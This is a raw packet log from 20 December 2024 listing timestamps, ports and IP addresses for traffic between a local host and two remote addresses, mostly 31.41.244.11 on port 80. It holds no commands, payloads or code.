Dec 20, 2024 09:12:22.338443995 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.338464022 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.338478088 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.338488102 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.338514090 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.338527918 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.338562012 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.338577986 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.338598013 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.338609934 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.338633060 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.338661909 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.338668108 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.338692904 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.338727951 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.339090109 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.339123964 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.339144945 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.339176893 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.339184046 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.339215040 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.339236021 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.339251995 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.339274883 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.339286089 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.339294910 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.339344025 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.339344025 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.339380026 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.339401960 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.339415073 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.339442015 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.339452028 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.339464903 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.339488983 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.339508057 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.339524984 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.339544058 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.339560986 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.339584112 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.339598894 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.339633942 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.339656115 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.340012074 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.340048075 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.340068102 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.340082884 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.340106010 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.340120077 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.340146065 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.340156078 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.340174913 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.340194941 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.340217113 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.340254068 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.340394974 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.340430021 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.340455055 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.340466022 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.340480089 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.340502977 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.340527058 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.340539932 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.340553999 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.340575933 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.340586901 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.340611935 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.340625048 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.340648890 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.340677977 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.340684891 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.340698004 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.340722084 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.340754032 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.340759039 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.340780020 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.340795040 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.340816021 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.340831995 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.340845108 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.340869904 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.340888977 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.340926886 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.341366053 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.341399908 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.341420889 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.341423035 CET	443	49791	172.67.131.246	192.168.2.4
Dec 20, 2024 09:12:22.341479063 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.341495037 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.341516972 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.341538906 CET	49791	443	192.168.2.4	172.67.131.246
Dec 20, 2024 09:12:22.341552019 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.341586113 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.341589928 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.341613054 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.341623068 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.341638088 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.341660023 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.341692924 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.341713905 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.341715097 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.341753960 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.341773987 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.341789961 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.341814041 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.341825962 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.341833115 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.341856956 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.341881037 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.341907978 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.341948986 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.342004061 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.342156887 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.342192888 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.342214108 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.342227936 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.342263937 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.342267036 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.342288017 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.342299938 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.342317104 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.342354059 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.342386007 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.342421055 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.342437029 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.342468977 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.342550039 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.342586040 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.342606068 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.342619896 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.342637062 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.342655897 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.342674017 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.342691898 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.342708111 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.342726946 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.342742920 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.342763901 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.342780113 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.342801094 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.342816114 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.342835903 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.342849016 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.342873096 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.342885971 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.342909098 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.342926979 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.342945099 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.342963934 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.343009949 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.343350887 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.343388081 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.343405008 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.343427896 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.343447924 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.343481064 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.343485117 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.343518019 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.343540907 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.343553066 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.343565941 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.343589067 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.343609095 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.343626976 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.343643904 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.343669891 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.343693018 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.343704939 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.343717098 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.343739986 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.343763113 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.343776941 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.343780994 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.343811989 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.343831062 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.343847990 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.343868017 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.343913078 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.344377041 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.344412088 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.344430923 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.344446898 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.344469070 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.344482899 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.344501972 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.344516993 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.344525099 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.344552994 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.344571114 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.344590902 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.344611883 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.344624996 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.344646931 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.344660997 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.344676018 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.344695091 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.344710112 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.344732046 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.344748974 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.344772100 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.344799995 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.344808102 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.344821930 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.344844103 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.344870090 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.344877958 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.344904900 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.344928026 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.345174074 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.345191002 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.345206022 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.345221996 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.345227957 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.345240116 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.345247984 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.345258951 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.345274925 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.345284939 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.345307112 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.345344067 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.345815897 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.345841885 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.345858097 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.345870972 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.345876932 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.345895052 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.345891953 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.345913887 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.345932961 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.345935106 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.345935106 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.345948935 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.345954895 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.345967054 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.345973015 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.345984936 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.346002102 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.346016884 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.346020937 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.346034050 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.346039057 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.346056938 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.346090078 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.346112967 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.346681118 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.346716881 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.346735954 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.346748114 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.346755028 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.346774101 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.346787930 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.346793890 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.346812010 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.346829891 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.346832991 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.346847057 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.346853971 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.346864939 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.346883059 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.346894026 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.346900940 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.346920013 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.346924067 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.346936941 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.346952915 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.346970081 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.347008944 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.347424030 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.347453117 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.347469091 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.347477913 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.347486973 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.347500086 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.347520113 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.347548962 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.347768068 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.347796917 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.347812891 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.347820997 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.347829103 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.347846031 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.347847939 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.347862959 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.347866058 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.347882986 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.347888947 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.347899914 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.347910881 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.347918034 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.347934008 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.347950935 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.347954035 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.347970963 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.347976923 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.347989082 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.347996950 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.348007917 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.348037958 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.348073959 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.348572016 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.348588943 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.348604918 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.348622084 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.348627090 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.348649025 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.348673105 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.348680019 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.348733902 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.466064930 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.466155052 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.466171026 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.466237068 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.466487885 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.466526031 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.466562033 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.466594934 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.467207909 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.467243910 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.467267990 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.467329979 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.468061924 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.468116045 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.468125105 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.468172073 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.469022989 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.469094992 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.469168901 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.469224930 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.469906092 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.469955921 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.469983101 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.470037937 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.470786095 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.470838070 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.470968008 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.471019030 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.471760988 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.471816063 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:22.471910000 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:22.471966028 CET	49785	80	192.168.2.4	31.41.244.11
